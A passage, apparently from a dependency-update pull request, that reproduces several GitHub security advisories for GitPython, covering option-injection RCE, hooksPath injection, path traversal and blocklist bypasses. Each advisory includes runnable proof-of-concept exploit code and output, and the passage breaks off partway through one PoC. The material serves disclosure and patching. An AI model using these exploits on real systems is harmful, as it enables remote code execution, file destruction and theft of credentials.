          out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis
          does not appear to affect every unsafe option. For example, `exec=` is already
          rejected because the raw kwarg name `exec` matches the blocked option name
          before normalization.\n\nExisting tests cover the hyphenated form, not the
          vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136`
          checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks
          `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\":
          ...}`\n\nThose tests correctly confirm the literal Git option names are
          blocked, but they do not exercise the normal Python kwarg spelling that
          bypasses the guard.\n\n##### PoC\n1. Create and activate a virtual environment
          in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip
          install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make
          a new python file and put the following in there, then run it:\n\n```python\nimport
          os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom
          git.exc import UnsafeOptionError\n\n##### Setup: create isolated repositories
          so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin
          = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim
          = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper
          = os.path.join(base, \"wrapper.sh\")\n\n##### Setup: this wrapper is just
          to demo things you can do, not required for the exploit to work\n\n#####
          you could also do something like an SSH reverse shell, really anything\nwith
          open(wrapper, \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n
          \ echo \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n
          \ printf 'argv='; printf '<%s>' \"$@\"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)='
          | sed 's/=.*$/=<redacted>/' || true\n}} > '{proof}'\nexec git-upload-pack
          \"$@\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\",
          \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\",
          \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith
          open(os.path.join(producer, \"README\"), \"w\") as f:\n    f.write(\"x\")\n\nsubprocess.run([\"git\",
          \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n
          \   [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\",
          \"commit\", \"-m\", \"init\"],\n    check=True,\n    stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\",
          \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL,
          stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin,
          victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo
          = Repo(victim)\nremote = repo.remote(\"origin\")\n\n##### the literal Git
          option name is properly blocked.\ntry:\n    remote.fetch(**{\"upload-pack\":
          wrapper})\n    print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n
          \   print(\"control=blocked\")\n\n##### this is the actual vulnerability\n\n#####
          you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just
          to show greater impact\n##### if you do the \"touch /tmp/proof\" the script
          will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n#####
          Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\",
          os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected
          result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists
          True ...`\n- The proof file contains evidence that the attacker-controlled
          helper executed as the local application account, including `id`, working
          directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython
          % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes)
          gid=20(staff) <redacted>\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin
          \ <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>\nargv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>\nUSER=<redacted>\nSSH_AUTH_SOCK=<redacted>\nPATH=<redacted>\nHOME=<redacted>\n```\n\nThis
          PoC does not require a malicious repository. The PoC uses that fresh blank
          repository. The only attacker-controlled input is the kwarg that GitPython
          turns into `--upload-pack`.\n\n##### Impact\nWho is impacted:\n- Web applications
          that let users configure repository import, sync, mirroring, fetch, pull,
          or push behavior\n- Systems that accept a user-provided dict of \"extra
          Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems,
          workers, automation bots, or internal tools that build GitPython calls from
          untrusted integration settings or job definitions (yaml, json, etc configs
          )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack`
          or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`,
          `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this
          could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud
          credentials available to the process\n- Modification of repositories, build
          outputs, or release artifacts\n- Lateral movement from CI/CD workers or
          automation hosts\n- Full compromise of the worker or service process handling
          repository operations\n\nThe highest-risk environments are network-reachable
          services and automation systems that expose these GitPython kwargs across
          a trust boundary while relying on the default unsafe-option guard for protection.\n\n####
          Severity\n- CVSS Score: 8.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47)\n-
          [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Unsafe option check validates multi_options before shlex.split
          transformation\n[CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284)
          / [GHSA-x2qx-6953-8485](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\n`_clone()` validates
          `multi_options` as the original list, then executes `shlex.split(\" \".join(multi_options))`.
          A string like `\"--branch main --config core.hooksPath=/x\"` passes validation
          (starts with `--branch`), but after split becomes `[\"--branch\", \"main\",
          \"--config\", \"core.hooksPath=/x\"]`. Git applies the config and executes
          attacker hooks during clone.\n\n##### Details\n\nThe vulnerable code is
          in [`git/repo/base.py` line 1383](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):\n```python\nmulti
          = shlex.split(\" \".join(multi_options))\n```\n\nThen validation runs on
          the **original** list at [line 1390](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):\n```python\nGit.check_unsafe_options(options=multi_options,
          unsafe_options=cls.unsafe_git_clone_options)\n```\n\nThen execution uses
          the **transformed** result at [line 1392](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):\n```python\nproc
          = git.clone(multi, \"--\", url, path, ...)\n```\n\nThe [check at `git/cmd.py`
          line 959](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959)
          uses `startswith`:\n```python\nif option.startswith(unsafe_option) or option
          == bare_option:\n```\n\n`\"--branch main --config ...\"` does not start
          with `\"--config\"`, so it passes. After `shlex.split`, `\"--config\"` becomes
          its own token and reaches git.\n\nAlso affects `Submodule.update()` via
          `clone_multi_options`.\n\n##### PoC\n\n```python\nimport sys, pathlib, subprocess\nsys.path.insert(0,
          str(pathlib.Path(__file__).resolve().parent))\n\nfrom git import Repo\nfrom
          git.exc import UnsafeOptionError\n\ntry:\n    Repo.clone_from(\"/nonexistent\",
          \"/tmp/x\", multi_options=[\"--config\", \"core.hooksPath=/x\"])\nexcept
          UnsafeOptionError:\n    print(\"multi_options=['--config', '...']: Block
          as expected\")\nexcept Exception:\n    pass\n\nDIR = pathlib.Path(__file__).resolve().parent
          / \"workdir_b\"\nSRC = DIR / \"repo\"\nDST = DIR / \"dst\"\nHOOKS = DIR
          / \"hooks\"\nLOG = DIR / \"output.log\"\n\nif not SRC.exists():\n    SRC.mkdir(parents=True)\n
          \   r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)\n    r(\"git\",
          \"init\", \"-b\", \"main\")\n    (SRC / \"f\").write_text(\"x\\n\")\n    r(\"git\",
          \"add\", \".\")\n    r(\"git\", \"commit\", \"-m\", \"init\")\n\nHOOKS.mkdir(exist_ok=True)\nhook
          = HOOKS / \"post-checkout\"\nhook.write_text(f\"#!/bin/sh\\nwhoami > {LOG.as_posix()}\\nhostname
          >> {LOG.as_posix()}\\n\")\nhook.chmod(0o755)\n\nLOG.unlink(missing_ok=True)\npayload
          = \"--branch main --config core.hooksPath=\" + HOOKS.as_posix()\n\ntry:\n
          \   Repo.clone_from(str(SRC), str(DST), multi_options=[payload])\nexcept
          UnsafeOptionError:\n    print(f\"multi_options=['{payload}']: BLOCKED\");
          sys.exit(1)\nexcept Exception:\n    pass\n\nif not LOG.exists() and DST.exists():\n
          \   subprocess.run([\"git\", \"checkout\", \"--force\", \"main\"], cwd=DST,
          capture_output=True)\n\nprint(f\"multi_options=['{payload}']: not blocked\")\nprint(f\"\\nHook
          executed: {LOG.exists()}\")\nif LOG.exists():\n    print(LOG.read_text().strip())\n```\n\n**Output:**\n```\nmulti_options=['--config',
          '...']: Block as expected\nmulti_options=['--branch main --config core.hooksPath=.../hooks']:
          not blocked\n\nHook executed: True\ntexugo\nDESKTOP-5w5HH79\n```\n\n#####
          Impact\n\nAny application passing user input to `multi_options` in `clone_from()`,
          `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config
          core.hooksPath=<dir>` inside a string starting with a safe option. Check
          does not block it. Git executes attacker code. Same class as CVE-2023-40267.\n\n####
          Severity\n- CVSS Score: 8.1 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47)\n-
          [https://www.tenable.com/cve/CVE-2026-32686](https://www.tenable.com/cve/CVE-2026-32686)\n-
          [https://github.com/advisories/GHSA-x2qx-6953-8485](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython reference APIs has a path traversal vulnerability that allows
          arbitrary file write and delete outside the repository\n[CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243)
          / [GHSA-7545-fcxq-7j24](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### \U0001F9FE Summary\n\nA vulnerability
          in **GitPython** allows **attackers who can supply a crafted reference path
          to an application using GitPython** to **write, overwrite, move, or delete
          files outside the repository\u2019s `.git` directory** via **insufficient
          validation of reference paths in reference creation, rename, and delete
          operations**.\n\n---\n\n##### \U0001F4E6 Affected Versions\n\n* Affected:
          `<= 3.1.46` and current `main` (`3.1.47` in local checkout)\n\n---\n\n#####
          \U0001F9E0 Details\n\n##### Vulnerability Type\n\n**Path Traversal leading
          to Arbitrary File Write and Arbitrary File Deletion**\n\n---\n\n##### Root
          Cause\n\nReference paths are validated when they are resolved for reading,
          but are not consistently validated before filesystem write, rename, and
          delete operations.\n\n`SymbolicReference._check_ref_name_valid()` rejects
          traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`,
          `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete`
          still construct filesystem paths from attacker-controlled ref names without
          enforcing repository boundaries.\n\n---\n\n##### Affected Code\n\n```python\ndef
          set_reference(self, ref, logmsg=None):\n    ...\n    fpath = self.abspath\n
          \   assure_directory_exists(fpath, is_file=True)\n\n    lfd = LockedFD(fpath)\n
          \   fd = lfd.open(write=True, stream=True)\n    ...\n```\n\n```python\n@classmethod\ndef
          delete(cls, repo, path):\n    full_ref_path = cls.to_full_path(path)\n    abs_path
          = os.path.join(repo.common_dir, full_ref_path)\n    if os.path.exists(abs_path):\n
          \       os.remove(abs_path)\n```\n\n```python\ndef rename(self, new_path,
          force=False):\n    new_path = self.to_full_path(new_path)\n    new_abs_path
          = os.path.join(_git_dir(self.repo, new_path), new_path)\n    cur_abs_path
          = os.path.join(_git_dir(self.repo, self.path), self.path)\n    ...\n    os.rename(cur_abs_path,
          new_abs_path)\n```\n\n---\n\n##### Attack Vector\n\n**Local attack through
          application-controlled input passed into GitPython reference APIs**\n\n#####
          Authentication Required\n\n**None at the library boundary. In practice,
          exploitation requires the ability to influence ref names supplied by the
          consuming application.**\n\n---\n\n##### \U0001F9EA Proof of Concept\n\n#####
          Setup\n\n```bash\npip install GitPython==3.1.46\npython poc.py\n```\n\n---\n\n#####
          Exploit\n\n```python\nimport shutil\nfrom pathlib import Path\n\nfrom git
          import Repo\nfrom git.refs.reference import Reference\nfrom git.refs.symbolic
          import SymbolicReference\n\nbase = Path(\"gp-ghsa-poc\").resolve()\nif base.exists():\n
          \   shutil.rmtree(base)\n\nrepo_dir = base / \"repo\"\nrepo = Repo.init(repo_dir)\n\n(repo_dir
          / \"a.txt\").write_text(\"init\\n\", encoding=\"utf-8\")\nrepo.index.add([\"a.txt\"])\nrepo.index.commit(\"init\")\n\noutside_write
          = base / \"outside_write.txt\"\noutside_delete = base / \"outside_delete.txt\"\noutside_delete.write_text(\"DELETE
          ME\\n\", encoding=\"utf-8\")\n\nprint(f\"repo_dir       = {repo_dir}\")\nprint(f\"outside_write
          \ = {outside_write}\")\nprint(f\"outside_delete = {outside_delete}\")\n\nReference.create(repo,
          \"../../../outside_write.txt\", \"HEAD\")\n\nprint(\"\\n[+] outside_write
          exists:\", outside_write.exists())\nif outside_write.exists():\n    print(\"[+]
          outside_write content:\")\n    print(outside_write.read_text(encoding=\"utf-8\"))\n\nSymbolicReference.delete(repo,
          \"../../../outside_delete.txt\")\n\nprint(\"\\n[+] outside_delete exists
          after delete:\", outside_delete.exists())\n```\n\n---\n\n##### Result\n\n```text\nrepo_dir
          \      = ...\\gp-ghsa-poc\\repo\noutside_write  = ...\\gp-ghsa-poc\\outside_write.txt\noutside_delete
          = ...\\gp-ghsa-poc\\outside_delete.txt\n\n[+] outside_write exists: True\n[+]
          outside_write content:\n<current HEAD commit SHA>\n\n[+] outside_delete
          exists after delete: False\n```\n\n---\n\n##### \U0001F4A5 Impact\n\n#####
          What can an attacker do?\n\n* Create or overwrite files outside the repository
          metadata directory\n* Delete attacker-chosen files reachable from the process
          permissions\n* Corrupt application state or configuration files\n* Cause
          denial of service by deleting or overwriting important files\n\n---\n\n#####
          Security Impact\n\n* **Confidentiality:** Low\n* **Integrity:** High\n*
          **Availability:** High\n\n---\n\n##### Who is affected?\n\n* Applications
          that expose GitPython reference operations to user-controlled input\n* Git
          automation services, repository management backends, CI/CD helpers, and
          developer platforms\n* Multi-user environments where one user can influence
          ref names processed on behalf of another workflow\n\n---\n\n##### \U0001F6E0\uFE0F
          Mitigation / Fix\n\n##### Recommended Fix\n\n```python\ndef _validate_ref_write_path(repo,
          path, *, for_git_dir=False):\n    SymbolicReference._check_ref_name_valid(path)\n\n
          \   base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()\n
          \   target = (base / path).resolve()\n\n    if base not in [target, *target.parents]:\n
          \       raise ValueError(f\"Reference path escapes repository boundary:
          {path}\")\n\n    return str(target)\n```\n\n```python\nfull_ref_path = cls.to_full_path(path)\n_validate_ref_write_path(repo,
          full_ref_path)\n```\n\n#### Severity\n- CVSS Score: 7.8 / 10 (High)\n- Vector
          String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.48)\n-
          [https://github.com/advisories/GHSA-7545-fcxq-7j24](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Newline injection in config_writer().set_value() enables RCE
          via core.hooksPath\n[CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244)
          / [GHSA-v87r-6q3f-2j67](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n`GitConfigParser.set_value()` passes
          values to Python's `configparser` without validating for newlines. GitPython's
          own `_write()` converts embedded newlines into indented continuation lines
          (e.g. `\\n` becomes `\\n\\t`), but Git still accepts an indented `[core]`
          stanza as a section header \u2014 so the injected `core.hooksPath` becomes
          effective configuration. Any Git operation that invokes hooks (commit, merge,
          checkout) will then execute scripts from the attacker-controlled path.\n\nThe
          vulnerability is not merely malformed config output: GitPython's own writer
          converts embedded newlines into indented continuation lines, but Git still
          accepts an indented `[core]` stanza as a section header, so the injected
          `core.hooksPath` becomes effective configuration.\n\nThis was found while
          auditing MLRun's `project.push()` method, which passes `author_name` and
          `author_email` directly to `config_writer().set_value()` with no sanitization.
          Both parameters cross a trust boundary \u2014 they are caller-supplied API
          inputs that end up in `.git/config`.\n\nPoC (standalone, no MLRun required):\n\n```python\nimport
          git, subprocess, os\n\nrepo = git.Repo(\"/tmp/testrepo\")\n\nwith repo.config_writer()
          as cw:\n    cw.set_value(\"user\", \"name\", \"foo\\n[core]\\nhooksPath=/tmp/hooks\")\n\nr
          = subprocess.run([\"git\", \"config\", \"core.hooksPath\"], cwd=\"/tmp/testrepo\",
          capture_output=True, text=True)\nassert r.returncode == 0\nprint(r.stdout.strip())
          \ # /tmp/hooks\n\nos.makedirs(\"/tmp/hooks\", exist_ok=True)\nopen(\"/tmp/hooks/pre-commit\",
          \"w\").write(\"#!/bin/sh\\nid > /tmp/pwned\\n\")\nos.chmod(\"/tmp/hooks/pre-commit\",
          0o755)\n\nrepo.index.add([\"README\"])\nrepo.git.commit(m=\"test\")\nprint(open(\"/tmp/pwned\").read())
          \ # uid=...\n```\n\nTested on GitPython 3.1.46, git 2.39+.\n\nImpact: This
          is persistent repo config poisoning. Any user who can supply `author_name`
          or `author_email` to an application calling `config_writer().set_value()`
          can redirect Git hook execution to an arbitrary path. In a multi-user or
          hosted environment (e.g. a shared MLRun server where multiple users push
          to the same repositories), one user can poison the `.git/config` of a shared
          repo and have their hooks run in the context of every subsequent Git operation
          by any user. On single-user deployments, the impact depends on whether the
          application later invokes Git hooks automatically.\n\nRemediation: `set_value()`
          should raise on CR, LF, or NUL in values rather than silently pass them
          through:\n\n```python\nimport re\n\nif isinstance(value, (str, bytes)) and
          re.search(r\"[\\r\\n\\x00]\", str(value)):\n    raise ValueError(\"Git config
          values must not contain CR, LF, or NUL\")\n```\n\nRejecting is safer than
          stripping \u2014 a stripped newline might indicate the caller is passing
          unsanitized input at a higher level, and silent normalization masks that.\n\nAffected
          wherever `config_writer().set_value(section, key, user_input)` is called
          with external input.** GitPython is a dependency of DVC, MLflow, Kedro,
          and others \u2014 worth auditing their `set_value()` call sites for externally
          influenced inputs.\n\n#### Severity\n- CVSS Score: 7.8 / 10 (High)\n- Vector
          String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n#### References\n-
          [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.49)\n-
          [https://github.com/advisories/GHSA-v87r-6q3f-2j67](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Newline injection in config_writer() section parameter bypasses
          CVE-2026-42215 patch, enabling RCE via core.hooksPath\n[GHSA-mv93-w799-cj2w](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\nSummary\n\nThe patch for CVE-2026-42215
          (GitPython 3.1.49) validates newlines only in the value parameter of set_value().
          The section and option parameters are passed to configparser without any
          newline validation. An attacker who controls the section argument can inject
          \\n to write arbitrary section headers into .git/config, including a forged
          [core] section with hooksPath pointing to an attacker-controlled directory,
          leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py
          \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n  def set_value(self,
          section: str, option: str, value) -> \"GitConfigParser\":\n      value_str
          = self._value_to_string_safe(value)   # only value is validated\n      if
          not self.has_section(section):\n          self.add_section(section)                    #
          section not validated\n      super().set(section, option, value_str)          #
          option not validated\n      return self\n```\n\n_write() formats section
          headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes
          [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n
          \ import git, os, subprocess\n\n  repo = git.Repo.init(\"/tmp/bypass_test\")\n\n
          \ os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n  with open(\"/tmp/evil_hooks/pre-commit\",
          \"w\") as f:\n      f.write(\"#!/bin/sh\\nid > /tmp/rce_proof.txt\\n\")\n
          \ os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n  # Inject newline
          into section parameter (not value \u2014 already patched)\n  with repo.config_writer()
          as cw:\n      cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n
          \ r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\",
          \"core.hooksPath\"],\n                     capture_output=True, text=True)\n
          \ print(r.stdout.strip())  # \u2192 /tmp/evil_hooks\n\n  subprocess.run([\"git\",
          \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n
          \ print(open(\"/tmp/rce_proof.txt\").read())  # \u2192 uid=1000(...) RCE
          confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via
          core.hooksPath injection). The patch is incomplete \u2014 only value is
          validated while section and option remain injectable.\n\n#### Severity\n-
          CVSS Score: 7.0 / 10 (High)\n- Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w)\n-
          [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n-
          [https://github.com/advisories/GHSA-mv93-w799-cj2w](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Command Injection via git long-option prefix abbreviation bypass
          of CVE-2026-42215 blocklist\n[GHSA-2f96-g7mh-g2hx](https://redirect.github.com/advisories/GHSA-2f96-g7mh-g2hx)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Command injection via long-option
          prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of
          CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)\n\n**Component:** gitpython-developers/GitPython
          (PyPI: GitPython)\n**Affected:** all versions carrying the 3.1.47 blocklist
          fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)\n**CWE:**
          CWE-184 (Incomplete List of Disallowed Inputs) \u2192 CWE-78 (OS Command
          Injection)\n**Severity:** inherits the parent CVE-2026-42215 surface; estimated
          High, ~8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) \u2014 final scoring
          deferred to maintainer/CNA, mirroring the parent.\n**Reporter:** hackkim\n\n#####
          Summary\n\nThe 3.1.47 fix for CVE-2026-42215 blocks dangerous git options
          (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for
          fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach
          command-executing options unless they pass `allow_unsafe_options=True`.\n\nThe
          fix canonicalizes an option name along **one** axis (underscore\u2192hyphen
          via `dashify`) and checks it against an **exact-match** dict. It does not
          account for git's unambiguous long-option prefix abbreviation. Git accepts
          any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac`
          all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes
          to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>`
          \u2192 executed as `--upload-pack=<value>` \u2192 command injection, in
          the default `allow_unsafe_options=False` configuration.\n\n##### The asymmetry
          (root cause)\n\n```python\n\n##### git/cmd.py (commit 20c5e275), lines 948-974\n@classmethod\ndef
          _canonicalize_option_name(cls, option):\n    option_name = option.lstrip(\"-\").split(\"=\",
          1)[0]\n    option_tokens = option_name.split(None, 1)\n    if not option_tokens:\n
          \       return \"\"\n    return dashify(option_tokens[0])      # only transform:
          \"_\" -> \"-\"\n\n@classmethod\ndef check_unsafe_options(cls, options, unsafe_options):\n
          \   canonical_unsafe_options = {cls._canonicalize_option_name(o): o for
          o in unsafe_options}\n    for option in options:\n        unsafe_option
          = canonical_unsafe_options.get(cls._canonicalize_option_name(option))\n
          \       if unsafe_option is not None:\n            raise UnsafeOptionError(...)\n```\n\nThe
          guard normalizes only `_`\u2192`-` and does exact dict membership. Git's
          CLI parser accepts a broader grammar (prefix abbreviation) than the guard
          models, so abbreviated keys slip through and reach git as the blocked option.\n\n#####
          Affected code (commit `20c5e275`)\n\n| Location | Role |\n|---|---|\n| `git/cmd.py:948-960`
          `_canonicalize_option_name` | canonicalizer \u2014 no prefix expansion |\n|
          `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the
          incomplete guard) |\n| `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>`
          to the CLI |\n| `git/repo/base.py:1411,1413` | clone call sites |\n| `git/remote.py:1074,1128,1201`
          | fetch / pull / push call sites |\n\n##### Bypass keys (verified)\n\n|
          kwarg key | git resolves to | path | weaponizable |\n|---|---|---|---|\n|
          `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes
          \u2014 direct RCE |\n| `receive_p` | `--receive-pack` | push | Yes \u2014
          direct RCE |\n| `exe` | `--exec` | push | Yes \u2014 direct RCE |\n| `conf`,
          `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional
          config vector (see note) |\n\n##### Minimal PoC\n\nSelf-contained, no network
          egress (a local bare repo acts as the \"remote\"). Tested on current `main`
          (git 2.50.1):\n\n```python\nimport os, stat, tempfile\nfrom git import Repo\n\nwork
          = tempfile.mkdtemp()\nmarker = os.path.join(work, \"RCE_MARKER\")\n\n#####
          fake \"upload-pack\" program that proves arbitrary command execution\nprog
